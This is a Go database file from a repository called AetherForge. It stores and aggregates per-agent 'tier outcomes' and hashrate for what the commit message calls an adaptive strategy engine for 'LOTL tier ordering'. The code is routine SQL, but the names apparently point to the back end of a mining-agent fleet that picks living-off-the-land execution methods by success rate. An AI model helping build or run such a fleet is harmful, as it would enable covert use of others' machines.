Files
AetherForge/server/internal/db/strategy.go
AetherForge 85376eac7c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet adaptive strategy engine for proactive LOTL tier ordering
2026-06-07 01:15:18 -07:00

103 lines
2.8 KiB
Go

package db
import (
"fmt"
"time"
)
type TierOutcomeStats struct {
Tier string
Total int
Successes int
Failures int
MaxHashrate float64
}
func (d *Database) InsertTierOutcome(agentID, fingerprintKey, tier string, ok bool, hashrate float64, phase string) error {
okInt := 0
if ok {
okInt = 1
}
_, err := d.Exec(
`INSERT INTO tier_outcomes (agent_id, fingerprint_key, tier, ok, hashrate, phase, created_at)
VALUES (?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)`,
agentID, fingerprintKey, tier, okInt, hashrate, phase,
)
return err
}
func (d *Database) UpsertAgentStrategyCache(agentID, fingerprintKey, strategyJSON string) error {
_, err := d.Exec(
`INSERT INTO agent_strategy_cache (agent_id, fingerprint_key, strategy_json, updated_at)
VALUES (?, ?, ?, CURRENT_TIMESTAMP)
ON CONFLICT(agent_id) DO UPDATE SET
fingerprint_key = excluded.fingerprint_key,
strategy_json = excluded.strategy_json,
updated_at = CURRENT_TIMESTAMP`,
agentID, fingerprintKey, strategyJSON,
)
return err
}
func (d *Database) ListAgentStrategyFingerprints() (map[string]string, error) {
rows, err := d.Query(`SELECT agent_id, fingerprint_key FROM agent_strategy_cache`)
if err != nil {
return nil, err
}
defer rows.Close()
out := make(map[string]string)
for rows.Next() {
var agentID, fpKey string
if err := rows.Scan(&agentID, &fpKey); err != nil {
return nil, err
}
out[agentID] = fpKey
}
return out, rows.Err()
}
func (d *Database) AggregateTierOutcomes(fingerprintKey, goos string) ([]TierOutcomeStats, error) {
stats, err := d.aggregateTierOutcomesWhere(`fingerprint_key = ?`, fingerprintKey)
if err != nil {
return nil, err
}
if len(stats) > 0 {
return stats, nil
}
if goos == "" {
return nil, nil
}
return d.aggregateTierOutcomesWhere(`fingerprint_key LIKE ?`, goos+"|%")
}
func (d *Database) aggregateTierOutcomesWhere(whereClause string, arg interface{}) ([]TierOutcomeStats, error) {
query := fmt.Sprintf(`
SELECT tier, COUNT(*) AS total,
SUM(CASE WHEN ok = 1 THEN 1 ELSE 0 END) AS successes,
SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures,
MAX(CASE WHEN ok = 1 THEN hashrate ELSE 0 END) AS max_hashrate
FROM tier_outcomes WHERE %s GROUP BY tier`, whereClause)
rows, err := d.Query(query, arg)
if err != nil {
return nil, err
}
defer rows.Close()
var out []TierOutcomeStats
for rows.Next() {
var s TierOutcomeStats
if err := rows.Scan(&s.Tier, &s.Total, &s.Successes, &s.Failures, &s.MaxHashrate); err != nil {
return nil, err
}
out = append(out, s)
}
return out, rows.Err()
}
func (d *Database) PruneTierOutcomesOlderThan(cutoff time.Time) (int64, error) {
res, err := d.Exec(`DELETE FROM tier_outcomes WHERE created_at < ?`, cutoff)
if err != nil {
return 0, err
}
return res.RowsAffected()
}